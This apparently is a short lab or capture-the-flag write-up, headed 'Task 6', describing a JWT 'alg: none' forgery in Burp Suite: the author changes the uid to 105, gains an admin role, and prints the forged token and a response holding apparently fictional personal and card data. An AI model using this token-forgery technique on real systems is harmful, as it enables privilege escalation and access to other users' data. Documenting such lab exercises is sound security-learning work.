

Task 6:

1. Login as Alice and install in Burp JSON Web Tokens
2. Start Burp and go to Profile
3. Send the request “/api/account/” to repeater
4. Go to JSON Web Tokens and set alg to “None”
5. Set uid to “105” and we get the admin
6. Jwt token id:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIOT05FlN0.eyJqdGkiOiJmNWE3ZmViZS00N2EyLTQ0ZjltYTgxMC01ZWVhN2I3OWQ5NzYiLCJ1aWQiOiJEWNSwiZXhwIjoxNzY0OTMyNjg1fQ.DIDVEanhKsrQTJqhaVUDI72kjR4ZFJfIoT6vIQBQyBo
7. Inspect the profile page, go to storage and replace the token value with the new jwt token id!
-> click on profile and you get the admin

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. The 'Request' pane on the left displays a JWT token in raw format: `{ "typ": "JWT", "alg": "NONE", "jti": "f5a7febe-47a2-44f2-a810-5eea7b79d976", "uid": "105", "exp": "1733932685" }`. The 'JSON Web Tokens' tab is active, showing options to modify the signature (e.g., 'Do not automatically modify signature', 'Recalculate Signature') and a section for 'Alg None Attack' with a dropdown set to '-'. The 'Response' pane on the right shows the server's response in raw format, which is a JSON object: `{ "address": "Vermilion Lane 8", "credit_card": "2024 1968 4466 0002", "phone": "+41 567 889 300", "picture": "user105.png", "role": "admin", "uid": "105", "username": "victor" }`. The target URL is `https://aa6edc00-2733-4fe`.